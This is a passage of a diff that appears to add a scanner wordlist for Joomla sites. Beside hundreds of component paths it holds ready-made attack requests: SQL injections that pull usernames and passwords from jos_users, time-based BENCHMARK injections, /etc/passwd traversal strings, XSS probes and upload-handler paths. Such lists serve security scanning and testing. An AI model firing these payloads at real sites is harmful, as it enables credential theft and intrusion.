components/com_moodle/moodle.php
|
935
|
+
components/com_moofaq/
|
936
|
+
components/com_mosmedia/
|
937
|
+
components/com_mospray/scripts/admin.php
|
938
|
+
components/com_mosres/
|
939
|
+
components/com_most/
|
940
|
+
components/com_mp3_allopass/
|
941
|
+
components/com_mtree/
|
942
|
+
components/com_mtree/img/listings/o/{id}.php
|
943
|
+
components/com_multibanners/extadminmenus.class.php
|
944
|
+
components/com_myalbum/
|
945
|
+
components/com_mycontent/
|
946
|
+
components/com_mydyngallery/
|
947
|
+
components/com_mygallery/
|
948
|
+
components/com_n-forms/
|
949
|
+
components/com_na_content/
|
950
|
+
components/com_na_mydocs/
|
951
|
+
components/com_na_newsdescription/
|
952
|
+
components/com_na_qforms/
|
953
|
+
components/com_neogallery/
|
954
|
+
components/com_neorecruit/
|
955
|
+
components/com_neoreferences/
|
956
|
+
components/com_netinvoice/
|
957
|
+
components/com_news/
|
958
|
+
components/com_news_portal/
|
959
|
+
components/com_newsflash/
|
960
|
+
components/com_nfn_addressbook/
|
961
|
+
components/com_nicetalk/
|
962
|
+
components/com_noticias/
|
963
|
+
components/com_omnirealestate/
|
964
|
+
components/com_omphotogallery/
|
965
|
+
components/com_ongumatimesheet20/
|
966
|
+
components/com_onlineflashquiz/
|
967
|
+
components/com_ownbiblio/
|
968
|
+
components/com_panoramic/
|
969
|
+
components/com_paxgallery/
|
970
|
+
components/com_paxxgallery/
|
971
|
+
components/com_pcchess/
|
972
|
+
components/com_pcchess/include.pcchess.php
|
973
|
+
components/com_pccookbook/
|
974
|
+
components/com_pccookbook/pccookbook.php
|
975
|
+
components/com_peoplebook/param.peoplebook.php
|
976
|
+
components/com_performs/
|
977
|
+
components/com_philaform/
|
978
|
+
components/com_phocadocumentation/
|
979
|
+
components/com_php/
|
980
|
+
components/com_phpshop/toolbar.phpshop.html.php
|
981
|
+
components/com_pinboard/
|
982
|
+
components/com_pms/
|
983
|
+
components/com_poll/
|
984
|
+
components/com_pollxt/
|
985
|
+
components/com_ponygallery/
|
986
|
+
components/com_portafolio/
|
987
|
+
components/com_portfol/
|
988
|
+
components/com_prayercenter/
|
989
|
+
components/com_pro_desk/
|
990
|
+
components/com_prod/
|
991
|
+
components/com_productshowcase/
|
992
|
+
components/com_profiler/
|
993
|
+
components/com_projectfork/
|
994
|
+
components/com_propertylab/
|
995
|
+
components/com_puarcade/
|
996
|
+
components/com_publication/
|
997
|
+
components/com_quiz/
|
998
|
+
components/com_rapidrecipe/
|
999
|
+
components/com_rdautos/
|
1000
|
+
components/com_realestatemanager/
|
1001
|
+
components/com_recly/
|
1002
|
+
components/com_referenzen/
|
1003
|
+
components/com_rekry/
|
1004
|
+
components/com_remository/admin.remository.php
|
1005
|
+
components/com_remository_files/file_image_14/1276100016shell.php
|
1006
|
+
components/com_reporter/processor/reporter.sql.php
|
1007
|
+
components/com_resman/
|
1008
|
+
components/com_restaurante/
|
1009
|
+
components/com_ricette/
|
1010
|
+
components/com_rsfiles/
|
1011
|
+
components/com_rsgallery/
|
1012
|
+
components/com_rsgallery2/
|
1013
|
+
components/com_rss/
|
1014
|
+
components/com_rssreader/
|
1015
|
+
components/com_rssxt/
|
1016
|
+
components/com_rwcards/
|
1017
|
+
components/com_school/
|
1018
|
+
components/com_search/
|
1019
|
+
components/com_sebercart/getPic.php?p=[LFD]%00
|
1020
|
+
components/com_securityimages/
|
1021
|
+
components/com_sef/
|
1022
|
+
components/com_seminar/
|
1023
|
+
components/com_serverstat/install.serverstat.php
|
1024
|
+
components/com_sg/
|
1025
|
+
components/com_simple_review/
|
1026
|
+
components/com_simpleboard/
|
1027
|
+
components/com_simplefaq/
|
1028
|
+
components/com_simpleshop/
|
1029
|
+
components/com_sitemap/sitemap.xml.php
|
1030
|
+
components/com_slideshow/
|
1031
|
+
components/com_smf/
|
1032
|
+
components/com_smf/smf.php
|
1033
|
+
components/com_swmenupro/
|
1034
|
+
components/com_team/
|
1035
|
+
components/com_tech_article/
|
1036
|
+
components/com_thopper/
|
1037
|
+
components/com_thyme/
|
1038
|
+
components/com_tickets/
|
1039
|
+
components/com_tophotelmodule/
|
1040
|
+
components/com_tour_toto/
|
1041
|
+
components/com_trade/
|
1042
|
+
components/com_uhp/
|
1043
|
+
components/com_uhp2/
|
1044
|
+
components/com_user/controller.php
|
1045
|
+
components/com_users/
|
1046
|
+
components/com_utchat/pfc/lib/pear/PHPUnit/GUI/Gtk.php
|
1047
|
+
components/com_vehiclemanager/
|
1048
|
+
components/com_versioning /
|
1049
|
+
components/com_videodb/core/videodb.class.xml.php
|
1050
|
+
components/com_virtuemart/
|
1051
|
+
components/com_volunteer/
|
1052
|
+
components/com_vr/
|
1053
|
+
components/com_waticketsystem/
|
1054
|
+
components/com_webhosting/
|
1055
|
+
components/com_weblinks/
|
1056
|
+
components/com_webring/
|
1057
|
+
components/com_wmtgallery/
|
1058
|
+
components/com_wmtportfolio/
|
1059
|
+
components/com_x-shop/
|
1060
|
+
components/com_xevidmegahd/
|
1061
|
+
components/com_xewebtv/
|
1062
|
+
components/com_xfaq/
|
1063
|
+
components/com_xgallery/helpers/img.php?file=
|
1064
|
+
components/com_xsstream-dm/
|
1065
|
+
components/com_ynews/
|
1066
|
+
components/com_yvcomment/
|
1067
|
+
components/com_zoom/classes/
|
1068
|
+
components/mod_letterman/
|
1069
|
+
components/remository/
|
1070
|
+
eXtplorer/
|
1071
|
+
easyblog/entry/uncategorized
|
1072
|
+
extplorer/
|
1073
|
+
components/com_mtree/img/listings/o/{id}.php where {id}
|
1074
|
+
includes/joomla.php
|
1075
|
+
index.php/404'
|
1076
|
+
index.php/?option=com_question&catID=21' and+1=0 union all
|
1077
|
+
index.php/image-gallery/"><script>alert('xss')</script>/25-koala
|
1078
|
+
index.php?file=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd&jat3action=gzip&type=css&v=1
|
1079
|
+
index.php?option=com_aardvertiser&cat_name=Vehicles'+AND+'1'='1&task=view
|
1080
|
+
index.php?option=com_aardvertiser&cat_name=conf&task=<=
|
1081
|
+
index.php?option=com_aardvertiser&task=
|
1082
|
+
index.php?option=com_abc&view=abc&letter=AS§ionid='
|
1083
|
+
index.php?option=com_advert&id=36'
|
1084
|
+
index.php?option=com_alameda&controller=comments&task=edit&storeid=-1+union+all+select+concat_ws(0x3a,username,password)+from+jos_users--
|
1085
|
+
index.php?option=com_alfurqan15x&action=viewayat&surano=
|
1086
|
+
index.php?option=com_amblog&view=amblog&catid=-1 UNION SELECT @@version
|
1087
|
+
index.php?option=com_annonces&view=edit&Itemid=1
|
1088
|
+
index.php?option=com_articleman&task=new
|
1089
|
+
index.php?option=com_bbs&bid=-1
|
1090
|
+
index.php?option=com_beamospetition&startpage=3&pet=-
|
1091
|
+
index.php?option=com_beamospetition&startpage=3&pet=-1+Union+select+user()+from+jos_users-
|
1092
|
+
index.php?option=com_bearleague&task=team&tid=8&sid=1&Itemid=%27
|
1093
|
+
index.php?option=com_beeheard&controller=../../../../../../../../../../etc/passwd%00
|
1094
|
+
index.php?option=com_biblioteca&view=biblioteca&testo=-a%25' UNION SELECT 1,username,password,4,5,6,7,8,9 FROM jos_users%23
|
1095
|
+
index.php?option=com_blogfactory&controller=../../../../../../../../../../etc/passwd%00
|
1096
|
+
index.php?option=com_bnf&task=listar&action=filter_add&seccion=pago&seccion_id=-1
|
1097
|
+
index.php?option=com_camelcitydb2&id=-3+union+select+1,2,concat(username,0x3a,password),4,5,6,7,8,9,10,11+from+jos_users--
|
1098
|
+
index.php?option=com_chronoconnectivity&itemid=1
|
1099
|
+
index.php?option=com_chronocontact&itemid=1
|
1100
|
+
index.php?option=com_cinema&Itemid=S@BUN&func=detail&id=
|
1101
|
+
index.php?option=com_clantools&squad=1+
|
1102
|
+
index.php?option=com_clantools&task=clanwar&showgame=1+
|
1103
|
+
index.php?option=com_commedia&format=raw&task=image&pid=4&id=964'
|
1104
|
+
index.php?option=com_commedia&task=page&commpid=21
|
1105
|
+
index.php?option=com_connect&view=connect&controller=
|
1106
|
+
index.php?option=com_content&view=article&id=[A VALID ID]&Itemid=[A VALID ID]&sflaction=dir&sflDir=../../../
|
1107
|
+
index.php?option=com_delicious&controller=../../../../../../../../../../etc/passwd%00
|
1108
|
+
index.php?option=com_dioneformwizard&controller=[LFI]%00
|
1109
|
+
index.php?option=com_discussions&view=thread&catid=[Correct CatID]&thread=-1
|
1110
|
+
index.php?option=com_dshop&controller=fpage&task=flypage&idofitem=12
|
1111
|
+
index.php?option=com_easyfaq&Itemid=1&task=view&gid=
|
1112
|
+
index.php?option=com_easyfaq&catid=1&task=view&id=-2527+
|
1113
|
+
index.php?option=com_easyfaq&task=view&contact_id=
|
1114
|
+
index.php?option=com_elite_experts&task=showExpertProfileDetailed&getExpertsFromCountry=&language=ru&id=
|
1115
|
+
index.php?option=com_equipment&task=components&id=45&sec_men_id=
|
1116
|
+
index.php?option=com_equipment&view=details&id=
|
1117
|
+
index.php?option=com_estateagent&Itemid=47&act=object&task=showEO&id=[sqli]
|
1118
|
+
index.php?option=com_etree&view=displays&layout=category&id=[SQL]
|
1119
|
+
index.php?option=com_etree&view=displays&layout=user&user_id=[SQL]
|
1120
|
+
index.php?option=com_ezautos&Itemid=49&id=1&task=helpers&firstCode=1
|
1121
|
+
index.php?option=com_fabrik&view=table&tableid=13+union+select+1----
|
1122
|
+
index.php?option=com_filecabinet&task=download&cid[]=7
|
1123
|
+
index.php?option=com_firmy&task=section_show_set&Id=-1
|
1124
|
+
index.php?option=com_fss&view=test&prodid=777777.7'+union+all+select+77777777777777%2C77777777777777%2C77777777777777%2Cversion()%2C77777777777777%2C77777777777777%2C77777777777777%2C77777777777777%2C77777777777777%2C77777777777777%2C77777777777777--+D4NB4R
|
1125
|
+
index.php?option=com_golfcourseguide&view=golfcourses&cid=1&id=
|
1126
|
+
index.php?option=com_graphics&controller=
|
1127
|
+
index.php?option=com_grid&gid=15_ok_0',%20'15_ok_0&data_search=
|
1128
|
+
index.php?option=com_grid&gid=15_ok_0',%20'15_ok_0?data_search=&rpp=
|
1129
|
+
index.php?option=com_huruhelpdesk&view=detail
|
1130
|
+
index.php?option=com_huruhelpdesk&view=detail&cid[0]=
|
1131
|
+
index.php?option=com_huruhelpdesk&view=detail&cid[0]=-1
|
1132
|
+
index.php?option=com_icagenda&view=list&layout=event&Itemid=520&id=1 and 1=1
|
1133
|
+
index.php?option=com_icagenda&view=list&layout=event&Itemid=520&id=1 and 1=2
|
1134
|
+
index.php?option=com_icagenda&view=list&layout=event&Itemid=520&id[]=1
|
1135
|
+
index.php?option=com_iproperty&view=agentproperties&id=
|
1136
|
+
index.php?option=com_jacomment&view=
|
1137
|
+
index.php?option=com_jacomment&view=../../../../../../../../../../etc/passwd%00
|
1138
|
+
index.php?option=com_javoice&view=../../../../../../../../../../../../../../../etc/passwd%00
|
1139
|
+
index.php?option=com_jcommunity&controller=members&task=1'
|
1140
|
+
index.php?option=com_jeajaxeventcalendar&view=alleventlist_more&event_id=-13
|
1141
|
+
index.php?option=com_jefaqpro&view=category&layout=categorylist&catid=2
|
1142
|
+
index.php?option=com_jefaqpro&view=category&layout=categorylist&task=lists&catid=2
|
1143
|
+
index.php?option=com_jeguestbook&view=../../../../../../../../etc/passwd%00
|
1144
|
+
index.php?option=com_jeguestbook&view=item_detail&d_itemid=-1 OR (SELECT(IF(0x41=0x41, BENCHMARK(999999999,NULL),NULL)))
|
1145
|
+
index.php?option=com_jfuploader&Itemid=
|
1146
|
+
index.php?option=com_jgen&task=view&id=
|
1147
|
+
index.php?option=com_jgrid&controller=../../../../../../../../etc/passwd%00
|
1148
|
+
index.php?option=com_jimtawl&Itemid=12&task=
|
1149
|
+
index.php?option=com_jmarket&controller=product&task=1'
|
1150
|
+
index.php?option=com_jobprofile&Itemid=61&task=profilesview&id=1'
|
1151
|
+
index.php?option=com_jomdirectory&task=search&type=111+
|
1152
|
+
index.php?option=com_joomdle&view=detail&cat_id=1&course_id=
|
1153
|
+
index.php?option=com_joomla_flash_uploader&Itemid=1
|
1154
|
+
index.php?option=com_joomleague&func=showNextMatch&p=[sqli]
|
1155
|
+
index.php?option=com_joomleague&view=resultsmatrix&p=4&Itemid=[sqli]
|
1156
|
+
index.php?option=com_joomtouch&controller=
|
1157
|
+
index.php?option=com_jphone&controller../../../../../../../../../../etc/passwd%00
|
1158
|
+
index.php?option=com_jphone&controller../../../../../../../../../../proc/self/environ%00
|
1159
|
+
index.php?option=com_jscalendar&view=jscalendar&task=details&ev_id=999 UNION SELECT 1,username,password,4,5,6,7,8 FROM jos_users
|
1160
|
+
index.php?option=com_jstore&controller=product-display&task=1'
|
1161
|
+
index.php?option=com_jsubscription&controller=subscription&task=1'
|
1162
|
+
index.php?option=com_jtickets&controller=ticket&task=1'
|
1163
|
+
index.php?option=com_konsultasi&act=detail&sid=
|
1164
|
+
index.php?option=com_ksadvertiser&Itemid=36&task=add&catid=0&lang=en
|
1165
|
+
index.php?option=com_kunena&func=userlist&search=
|
1166
|
+
index.php?option=com_lead&task=display&archive=1&Itemid=65&leadstatus=1'
|
1167
|
+
index.php?option=com_lovefactory&controller=../../../../../../../../../../etc/passwd%00
|
1168
|
+
index.php?option=com_markt&page=show_category&catid=7+union+select+0,1,password,3,4,5,username,7,8+from+jos_users--
|
1169
|
+
index.php?option=com_matamko&controller=
|
1170
|
+
index.php?option=com_myhome&task=4&nidimmindex.php?option=com_myhome&task=4&nidimm
|
1171
|
+
index.php?option=com_neorecruit&task=offer_view&id=
|
1172
|
+
index.php?option=com_newsfeeds&view=categories&feedid=-1%20union%20select%201,concat%28username,char%2858%29,password%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30%20from%20jos_users--
|
1173
|
+
index.php?option=com_noticeboard&controller=
|
1174
|
+
index.php?option=com_obsuggest&controller=
|
1175
|
+
index.php?option=com_ongallery&task=ft&id=-1+order+by+1--
|
1176
|
+
index.php?option=com_ongallery&task=ft&id=-1+union+select+1--
|
1177
|
+
index.php?option=com_oziogallery&Itemid=
|
1178
|
+
index.php?option=com_page&id=53
|
1179
|
+
index.php?option=com_pbbooking&task=validate&id=-1 OR (SELECT(IF(0x41=0x41,BENCHMARK(999999999,NULL),NULL)))
|
1180
|
+
index.php?option=com_pcchess&controller=../../../../../../../../../../../../../etc/passwd%00
|
1181
|
+
index.php?option=com_peliculas&view=peliculas&id=null[Sql Injection]
|
1182
|
+
index.php?option=com_phocagallery&view=categories&Itemid=
|
1183
|
+
index.php?option=com_photomapgallery&view=imagehandler&folder=-1 OR (SELECT(IF(0x41=0x41,BENCHMARK(9999999999,NULL),NULL)))
|
1184
|
+
index.php?option=com_php&file=../../../../../../../../../../etc/passwd
|
1185
|
+
index.php?option=com_php&file=../images/phplogo.jpg
|
1186
|
+
index.php?option=com_php&file=../js/ie_pngfix.js
|
1187
|
+
index.php?option=com_ponygallery&Itemid=[sqli]
|
1188
|
+
index.php?option=com_products&catid=-1
|
1189
|
+
index.php?option=com_products&id=-1
|
1190
|
+
index.php?option=com_products&product_id=-1
|
1191
|
+
index.php?option=com_products&task=category&catid=-1
|
1192
|
+
index.php?option=com_properties&task=agentlisting&aid=
|
1193
|
+
index.php?option=com_qcontacts&Itemid=1'
|
1194
|
+
index.php?option=com_qcontacts?=catid=0&filter_order=[SQLi]&filter_order_Dir=&option=com_qcontacts
|
1195
|
+
index.php?option=com_record&controller=../../../../../../../../../../etc/passwd%00
|
1196
|
+
index.php?option=com_restaurantguide&view=country&id='&Itemid=69
|
1197
|
+
index.php?option=com_rokmodule&tmpl=component&type=raw&module=1'
|
1198
|
+
index.php?option=com_seyret&view=
|
1199
|
+
index.php?option=com_simpleshop&Itemid=26&task=viewprod&id=-999.9 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,concat(username,0x3e,password,0x3e,usertype,0x3e,lastvisitdate)+from+jos_users--
|
1200
|
+
index.php?option=com_smartsite&controller=
|
1201
|
+
index.php?option=com_spa&view=spa_product&cid=
|
1202
|
+
index.php?option=com_spidercalendar
|
1203
|
+
index.php?option=com_spidercalendar&date=1'
|
1204
|
+
index.php?option=com_spielothek&task=savebattle&bid=-1 OR (SELECT(IF(0x41=0x41,BENCHMARK(9999999999,NULL),NULL)))
|
1205
|
+
index.php?option=com_spielothek&view=battle&wtbattle=ddbdelete&dbtable=vS&loeschen[0]=-1 OR (SELECT(IF(0x41=0x41,BENCHMARK(9999999999,NULL),NULL)))
|
1206
|
+
index.php?option=com_spielothek&view=battle&wtbattle=play&bid=-1 OR (SELECT(IF(0x41=0x41,BENCHMARK(9999999999,NULL),NULL)))
|
1207
|
+
index.php?option=com_staticxt&staticfile=test.php&id=1923
|
1208
|
+
index.php?option=com_szallasok&mode=8&id=25 (SQL)
|
1209
|
+
index.php?option=com_tag&task=tag&tag=
|
1210
|
+
index.php?option=com_timereturns&view=timereturns&id=7+union+all+select+concat_ws(0x3a,username,password),2,3,4,5,6+from+jos_users--
|
1211
|
+
index.php?option=com_timetrack&view=timetrack&ct_id=-1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,CONCAT(username,0x3A,password) FROM jos_users
|
1212
|
+
index.php?option=com_ultimateportfolio&controller=
|
1213
|
+
index.php?option=com_users&view=registration
|
1214
|
+
index.php?option=com_virtuemart&page=account.index&keyword=[sqli]
|
1215
|
+
index.php?option=com_worldrates&controller=../../../../../../../../../../etc/passwd%00
|
1216
|
+
index.php?option=com_x-shop&action=artdetail&idd='
|
1217
|
+
index.php?option=com_x-shop&action=artdetail&idd='[SQLi]
|
1218
|
+
index.php?option=com_xcomp&controller=../../[LFI]%00
|
1219
|
+
index.php?option=com_xvs&controller=../../[LFI]%00
|
1220
|
+
index.php?option=com_yellowpages&cat=-1923+UNION+SELECT 1,concat_ws(0x3a,username,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37+from+jos_users--+Union+select+user()+from+jos_users--
|
1221
|
+
index.php?option=com_yjcontactus&view=
|
1222
|
+
index.php?option=com_youtube&id_cate=4
|
1223
|
+
index.php?option=com_zina&view=zina&Itemid=9
|
1224
|
+
index.php?option=com_zoomportfolio&view=portfolio&view=portfolio&id=
|
1225
|
+
index.php?search=NoGe&option=com_esearch&searchId=
|
1226
|
+
index.php?view=videos&type=member&user_id=-62+union+select+1,2,3,4,5,6,7,8,9,10,11,12,group_concat(username,0x3a,password),14,15,16,17,18,19,20,21,22,23,24,25,26,27+from+jos_users--&option=com_jomtube
|
1227
|
+
index2.php?option=com_joomradio&page=show_video&id=-13+union+select+1,group_concat(username,0x3a,password),3,4,5,6,7+from+jos_users--
|
1228
|
+
js/index.php?option=com_socialads&view=showad&Itemid=94
|
1229
|
+
libraries/joomla/utilities/compat/php50x.php
|
1230
|
+
libraries/pcl/pcltar.php
|
1231
|
+
libraries/phpmailer/phpmailer.php
|
1232
|
+
libraries/phpxmlrpc/xmlrpcs.php
|
1233
|
+
modules/mod_artuploader/upload.php");
|
1234
|
+
modules/mod_as_category.php
|
1235
|
+
modules/mod_calendar.php
|
1236
|
+
modules/mod_ccnewsletter/helper/popup.php?id=[SQLi]
|
1237
|
+
modules/mod_dionefileuploader/upload.php?module_dir=./&module_max=2097152&file_type=application/octet-stream");
|
1238
|
+
modules/mod_jfancy/script.php");
|
1239
|
+
modules/mod_ppc_simple_spotlight/elements/upload_file.php
|
1240
|
+
modules/mod_ppc_simple_spotlight/img/
|
1241
|
+
modules/mod_pxt/
|
1242
|
+
modules/mod_quick_question.php
|
1243
|
+
modules/mod_visitorsgooglemap/map_data.php?action=listpoints&lastMarkerID=0
|
1244
|
+
patch/makedown.php?arquivo=../../../../etc/passwd
|
1245
|
+
plugins/content/efup_files/helper.php");
|
1246
|
+
plugins/editors/idoeditor/themes/advanced/php/image.php" method="post" enctype="multipart/form-data">
|
1247
|
+
plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/
|
1248
|
+
plugins/editors/xstandard/attachmentlibrary.php
|
1249
|
+
print.php?task=person&id=36 and 1=1
|
1250
|
+
templates/be2004-2/
|
1251
|
+
templates/ja_purity/
|
1252
|
+
wap/wapmain.php?option=onews&action=link&id=-154+union+select+1,2,3,concat(username,0x3a,password),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28+from+jos_users+limit+0,1--
|
1253
|
+
web/index.php?option=com_rokmodule&tmpl=component&type=raw&module=1'&controller=../../../../../../../../../../../../[LFI]%00
|
1254
|
+
?1.5.10-x
|
1255
|
+
?1.5.11-x-http_ref
|
1256
|
+
?1.5.11-x-php-s3lf
|
1257
|
+
?1.5.3-path-disclose
|
1258
|
+
?1.5.3-spam
|
1259
|
+
?1.5.8-x
|
1260
|
+
?1.5.9-x
|
1261
|
+
?j1012-fixate-session
|
1262
|
+
?option=com_mysms&Itemid=0&task=phonebook
|
1263
|
+
Joomla_1.6.0-Alpha2-Full-Package/components/com_mailto/assets/close-x.png
|
1264
|
+
admin/
|
1265
|
+
administrator/
|
1266
|
+
administrator/components/
|
1267
|
+
administrator/components/com_a6mambocredits/
|
1268
|
+
administrator/components/com_a6mambohelpdesk/
|
1269
|
+
administrator/components/com_admin/admin.admin.html.php
|
1270
|
+
administrator/components/com_astatspro/refer.php
|
1271
|
+
administrator/components/com_bayesiannaivefilter/
|
1272
|
+
administrator/components/com_chronocontact/excelwriter/PPS/File.php
|
1273
|
+
administrator/components/com_colophon/
|
1274
|
+
administrator/components/com_colorlab/
|
1275
|
+
administrator/components/com_comprofiler/
|
1276
|
+
administrator/components/com_comprofiler/plugin.class.php
|
1277
|
+
administrator/components/com_cropimage/admin.cropcanvas.php
|
1278
|
+
administrator/components/com_extplorer/
|
1279
|
+
administrator/components/com_feederator/includes/tmsp/add_tmsp.php
|
1280
|
+
administrator/components/com_googlebase/
|
1281
|
+
administrator/components/com_installer
|
1282
|
+
administrator/components/com_jcs/
|
1283
|
+
administrator/components/com_jim/
|
1284
|
+
administrator/components/com_jjgallery/
|
1285
|
+
administrator/components/com_joom12pic/
|
1286
|
+
administrator/components/com_joomla-visites/
|
1287
|
+
administrator/components/com_joomla_flash_uploader/
|
1288
|
+
administrator/components/com_joomlaflashfun/
|
1289
|
+
administrator/components/com_joomlaradiov5/
|
1290
|
+
administrator/components/com_jpack/
|
1291
|
+
administrator/components/com_jreactions/
|
1292
|
+
administrator/components/com_juser/
|
1293
|
+
administrator/components/com_admin/
|
1294
|
+
administrator/components/com_kochsuite /
|
1295
|
+
administrator/components/com_linkdirectory/
|
1296
|
+
administrator/components/com_livechat/getSavedChatRooms.php
|
1297
|
+
administrator/components/com_livechat/xmlhttp.php
|
1298
|
+
administrator/components/com_lurm_constructor/admin.lurm_constructor.php
|
1299
|
+
administrator/components/com_maianmedia/utilities/charts/php-ofc-library/ofc_upload_image.php?name=lo.php");
|
1300
|
+
administrator/components/com_mambelfish/
|
1301
|
+
administrator/components/com_mgm/
|
1302
|
+
administrator/components/com_mmp/help.mmp.php
|
1303
|
+
administrator/components/com_mosmedia/
|
1304
|
+
administrator/components/com_multibanners/extadminmenus.class.php
|
1305
|
+
administrator/components/com_panoramic/
|
1306
|
+
administrator/components/com_peoplebook/param.peoplebook.php
|
1307
|
+
administrator/components/com_phpshop/toolbar.phpshop.html.php
|
1308
|
+
administrator/components/com_remository/admin.remository.php
|
1309
|
+
administrator/components/com_serverstat/install.serverstat.php
|
1310
|
+
administrator/components/com_simpleswfupload/uploadhandler.php");
|
1311
|
+
administrator/components/com_swmenupro/
|
1312
|
+
administrator/components/com_treeg/
|
1313
|
+
administrator/components/com_uhp/
|
1314
|
+
administrator/components/com_uhp2/
|
1315
|
+
administrator/components/com_webring/
|
1316
|
+
administrator/components/com_wmtgallery/
|
1317
|
+
administrator/components/com_wmtportfolio/
|
1318
|
+
administrator/components/com_x-shop/
|
1319
|
+
administrator/index.php?option=com_djartgallery&task=editItem&cid[]=1'+and+1=1+--+
|
1320
|
+
administrator/index.php?option=com_searchlog&act=log
|
1321
|
+
ajaxim/
|
1322
|
+
akocomments.php
|
1323
|
+
cart?Itemid=[SQLi]
|
1324
|
+
component/com__brightweblinks/
|
1325
|
+
component/option,com_jdirectory/task,show_content/contentid,1067/catid,26/directory,1/Itemid,0
|
1326
|
+
component/osproperty/?task=agent_register
|
1327
|
+
component/quran/index.php?option=com_quran&action=viewayat&surano=
|
1328
|
+
components/com_ clickheat/
|
1329
|
+
components/com_5starhotels/
|
1330
|
+
components/com_Jambook/jambook.php
|
1331
|
+
components/com_a6mambocredits/
|
1332
|
+
components/com_a6mambohelpdesk/
|
1333
|
+
components/com_ab_gallery/
|
1334
|
+
components/com_acajoom/
|
1335
|
+
components/com_acctexp/
|
1336
|
+
components/com_aclassf/
|
1337
|
+
components/com_activities/
|
1338
|
+
components/com_actualite/
|
1339
|
+
components/com_admin/admin.admin.html.php
|
1340
|
+
components/com_advancedpoll/
|
1341
|
+
components/com_agora/
|
1342
|
+
components/com_agoragroup/
|
1343
|
+
components/com_ajaxchat/
|
1344
|
+
components/com_akobook/
|
1345
|
+
components/com_akocomment/
|
1346
|
+
components/com_akogallery
|
1347
|
+
components/com_alberghi/
|
1348
|
+
components/com_allhotels/
|
1349
|
+
components/com_alphacontent/
|
1350
|
+
components/com_altas/
|
1351
|
+
components/com_amocourse/
|
1352
|
+
components/com_artforms/assets/captcha/includes/captchaform/imgcaptcha.php
|
1353
|
+
components/com_articles/
|
1354
|
+
components/com_artist/
|
1355
|
+
components/com_artlinks/
|
1356
|
+
components/com_asortyment/
|
1357
|
+
components/com_astatspro/
|
1358
|
+
components/com_awesom/
|
1359
|
+
components/com_babackup/
|
1360
|
+
components/com_banners/
|
1361
|
+
components/com_bayesiannaivefilter/
|
1362
|
+
components/com_be_it_easypartner/
|
1363
|
+
components/com_beamospetition/
|
1364
|
+
components/com_biblestudy/
|
1365
|
+
components/com_biblioteca/views/biblioteca/tmpl/pdf.php?pag=1&testo=-a%25' UNION SELECT 1,username,password,4,5,6,7,8,9 FROM jos_users%23
|
1366
|
+
components/com_biblioteca/views/biblioteca/tmpl/stampa.php?pag=1&testo=-a%25' UNION SELECT 1,username,password,4,5,6,7,8,9 FROM jos_users%23
|
1367
|
+
components/com_blog/
|
1368
|
+
components/com_bookflip/
|
1369
|
+
components/com_bookjoomlas/
|
1370
|
+
components/com_booklibrary/
|
1371
|
+
components/com_books/
|
1372
|
+
components/com_bsadv/
|
1373
|
+
components/com_bsq_sitestats/
|
1374
|
+
components/com_bsq_sitestats/external/rssfeed.php
|
1375
|
+
components/com_bsqsitestats/
|
1376
|
+
components/com_calendar/
|
1377
|
+
components/com_camelcitydb2/
|
1378
|
+
components/com_candle/
|
1379
|
+
components/com_casino_blackjack/
|
1380
|
+
components/com_casino_videopoker/
|
1381
|
+
components/com_casinobase/
|
1382
|
+
components/com_catalogproduction/
|
1383
|
+
components/com_catalogshop/
|
1384
|
+
components/com_category/
|
1385
|
+
components/com_cgtestimonial/video.php?url="><script>alert('xss');</script>
|
1386
|
+
components/com_chronocontact/excelwriter/PPS/File.php
|
1387
|
+
components/com_cinema/
|
1388
|
+
components/com_clasifier/
|
1389
|
+
components/com_classifieds/
|
1390
|
+
components/com_clickheat/
|
1391
|
+
components/com_cloner/
|
1392
|
+
components/com_cmimarketplace/
|
1393
|
+
components/com_cms/
|
1394
|
+
components/com_colophon/
|
1395
|
+
components/com_colorlab/
|
1396
|
+
components/com_competitions/
|
1397
|
+
components/com_comprofiler/
|
1398
|
+
components/com_comprofiler/plugin.class.php
|
1399
|
+
components/com_contactinfo/
|
1400
|
+
components/com_content/
|
1401
|
+
components/com_cpg/cpg.php
|
1402
|
+
components/com_cropimage/admin.cropcanvas.php
|
1403
|
+
components/com_custompages/
|
1404
|
+
components/com_cx/
|
1405
|
+
components/com_d3000/
|
1406
|
+
components/com_dadamail/
|
1407
|
+
components/com_dailymessage/
|
1408
|
+
components/com_datsogallery/
|
1409
|
+
components/com_dbquery/
|
1410
|
+
components/com_detail/
|
1411
|
+
components/com_digistore/
|
1412
|
+
components/com_directory/
|
1413
|
+
components/com_djiceshoutbox/
|
1414
|
+
components/com_doc/
|
1415
|
+
components/com_downloads/
|
1416
|
+
components/com_ds-syndicate/
|
1417
|
+
components/com_dtregister/
|
1418
|
+
components/com_dv/externals/phpupload/upload.php");
|
1419
|
+
components/com_easybook/
|
1420
|
+
components/com_emcomposer/
|
1421
|
+
components/com_equotes/
|
1422
|
+
components/com_estateagent/
|
1423
|
+
components/com_eventing/
|
1424
|
+
components/com_eventlist/
|
1425
|
+
components/com_events/
|
1426
|
+
components/com_ewriting/
|
1427
|
+
components/com_expose/uploadimg.php
|
1428
|
+
components/com_expshop/
|
1429
|
+
components/com_extcalendar/
|
1430
|
+
components/com_extcalendar/cal_popup.php?extmode=view&extid=
|
1431
|
+
components/com_extcalendar/extcalendar.php
|
1432
|
+
components/com_extended_registration/registration_detailed.inc.php
|
1433
|
+
components/com_extplorer/
|
1434
|
+
components/com_ezine/
|
1435
|
+
components/com_ezstore/
|
1436
|
+
components/com_facileforms/
|
1437
|
+
components/com_fantasytournament/
|
1438
|
+
components/com_faq/
|
1439
|
+
components/com_feederator/includes/tmsp/add_tmsp.php
|
1440
|
+
components/com_filebase/
|
1441
|
+
components/com_filiale/
|
1442
|
+
components/com_flashfun/
|
1443
|
+
components/com_flashmagazinedeluxe/
|
1444
|
+
components/com_flippingbook/
|
1445
|
+
components/com_flyspray/startdown.php
|
1446
|
+
